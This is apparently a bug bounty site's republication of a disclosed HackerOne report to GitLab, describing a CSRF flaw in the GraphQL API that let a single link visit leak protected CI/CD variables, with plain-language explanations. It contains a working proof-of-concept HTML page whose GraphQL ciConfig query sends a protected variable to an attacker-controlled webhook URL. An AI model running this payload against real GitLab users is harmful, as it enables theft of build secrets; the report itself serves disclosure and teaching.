Skip to content
CSRF Disclosed report Intermediate

Stealing protected CI/CD variables via CiConfig graphql query through a single link visit

The GitLab GraphQL API lacked CSRF protections for queries, allowing an attacker to execute queries on behalf of an authenticated user. By crafting a GraphQL query that includes a remote CI config location, an attacker could exfiltrate protected CI/CD variables when a logged-in user visits a malicious link.

GitLab

Originally disclosed on GitLab

  • Fixed in 7 months
  • Disclosed after 7 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2996542 by albatraoz on 2025-02-16, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

The GitLab GraphQL API does not implement CSRF protections for queries, meaning an attacker can execute unauthorized queries on behalf of an authenticated user via CSRF. This vulnerability allows an attacker to craft a GraphQL query that includes a query parameter in the URL, pointing to a remote CiConfig location. If a logged-in GitLab user visits the malicious link, the request executes in their session context, exposing protected CI/CD variables.

Steps to reproduce

  1. Create a group and a project and add a protected variable to the group via Settings -> CI/CD -> Variables.

For e.g PROTECTED_VAR -> VERY_SECRET_VALUE
2. Now create a POC with the following HTML & replace the values for PROJECT_NAME and WEBHOOK_URL:

HTML
<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Redirecting...</title>  
    <script>  
        window.location.href = "https://gitlab.com/api/graphql?query=" + encodeURIComponent(`  
  query {  
    ciConfig(  
      projectPath: "[PROJECT_NAME]",  
      dryRun: true,  
      content: "include:\\n  remote: [WEBHOOK_URL]/$PROTECTED_VAR.yaml"  
    ) {  
      mergedYaml  
      status  
      errors  
    }  
  }  
`);  
    </script>  
</head>  
</html>  
  1. Now open the above HTML file with a browser and you will see some graphql response.
  2. Open the webhook service and you will see that the protected variable defined in the first step is leaked.

P.O.C

Here's a video POC of this attack using webhook.site as the webhook service:

steal_vars.mp4 From the original on GitLab

Impact

Attackers can exfiltrate sensitive CI/CD secrets, potentially leading to code leaks, supply chain attacks, or infrastructure compromise.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the GraphQL API endpoint did not enforce CSRF tokens or same-origin checks for query operations, allowing cross-site requests to be executed with the victim's session.

Impact

Attackers could exfiltrate sensitive CI/CD secrets, potentially leading to code leaks, supply chain attacks, or infrastructure compromise.

What the attacker needed

Victim is logged into GitLab; victim visits a malicious link; attacker controls a webhook URL

How it was found

  1. Create a group and a project, then add a protected variable to the group via Settings -> CI/CD -> Variables.
  2. Create an HTML page that redirects the browser to a GraphQL query URL, with the query including a remote CI config location pointing to an attacker-controlled webhook.
  3. Open the HTML file in a browser while logged into GitLab.
  4. Check the webhook service to see the leaked protected variable.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report is about a security hole in GitLab's GraphQL API. GraphQL is a way for programs to ask a server for specific data. CSRF (Cross-Site Request Forgery) is an attack where a malicious website makes a logged-in user's browser send a request to another site without the user knowing. Here, because the API didn't check that requests came from legitimate sources, an attacker could trick a logged-in user into running a query that leaked secret CI/CD variables (like passwords used in automated builds).

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.